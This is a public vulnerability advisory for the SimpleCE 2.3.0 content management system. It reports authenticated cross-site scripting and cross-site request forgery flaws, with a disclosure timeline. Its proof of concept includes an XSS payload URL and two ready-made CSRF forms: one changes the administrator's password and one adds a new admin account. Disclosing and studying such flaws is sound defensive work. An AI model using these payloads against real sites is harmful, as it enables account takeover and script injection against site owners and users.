SimpleCE 2.3.0 Cross Site Request Forgery / Cross Site Scripting

SimpleCE version 2.3.0 suffers from cross site request forgery and cross site scripting vulnerabilities.


MD5 | 9585ae5beaede1fd55c691c3d1c2f53e

# Exploit Title: SimpleCE 2.3.0 - Multiple Vulnerabilities XSS CSRF
# Date: 2017-06-14
# Exploit Author: 8bitsec
# Vendor Homepage: http://simplece.com
# Software Link: https://codecanyon.net/item/simplece-v2-mini-cms/9140868
# Version: 2.3.0, probably older versions
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.5]
# Email: [email protected]
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-06-14


Product & Service Introduction:
===============================
SimpleCE is a simple Content-Management System with front-end editor mode.

Vulnerability Disclosure Timeline:
==================================
2017-06-13: Vulnerability found.
2017-06-13: Reported to vendor.
2017-06-14: No answer.
2017-06-14: Published.


Technical Details & Description:
================================

Authenticated XSS vulnerability found on http://[server]/[path]/index.php/content/text/1?return_url=[XSS] exploitable as a regular or admin user.
CSRF vulnerability can be exploited to add an administrator or change its info including password.

Proof of Concept (PoC):
=======================

XSS:

http://[server]/[path]/index.php/content/text/1?return_url=<svg/onload=alert(/8bitsec/)>

CSRF:

Modify User:

<form action="http://[server]/[path]/index.php/user/1" autocomplete="off" method="post" accept-charset="utf-8">
<label>Username<input type="text" name="username" id="username" placeholder="Username" value="admin" required="required" /></label>
<label>Email<input type="email" name="email" id="email" placeholder="Email" value="[email protected]" required="required" /></label>
<label>Firstname<input type="text" name="firstname" id="firstname" placeholder="Firstname" value="John" /></label>
<label>Surname<input type="text" name="surname" id="surname" placeholder="Surname" value="Doe" /></label>
<label>Password<input type="password" name="password" id="password" placeholder="Password" /></label>
<label>Password (repeat)<input type="password" name="password2" id="password2" placeholder="Password (repeat)"/></label>
<button type="submit" name="save" id="save" value="save">save</button>
</form>

Add User:

<form action="http://[server]/[path]/index.php/user/new" autocomplete="off" method="post" accept-charset="utf-8">
<label>Username<input type="text" name="username" id="username" placeholder="Username" value="adminuser" required="required" /></label>
<label>Email<input type="email" name="email" id="email" placeholder="Email" value="[email protected]" required="required" />
<label>Firstname<input type="text" name="firstname" id="firstname" placeholder="Firstname" value="admin" />
<label>Surname<input type="text" name="surname" id="surname" placeholder="Surname" value="user" /></label>
<label>Password<input type="password" name="password" id="password" placeholder="Password" required="required" /></label>
<label>Password (repeat)<input type="password" name="password2" id="password2" placeholder="Password (repeat)" required="required" /></label>
<label for="group">Role<select name="group" id="group" required="required">
<option value="2" >User</option>
<option value="1" selected="selected">Admin</option>
</select>
</label>
<button type="submit" name="save" id="save" value="save">save</button>
</form>


Credits & Authors:
==================
8bitsec - [https://twitter.com/_8bitsec]

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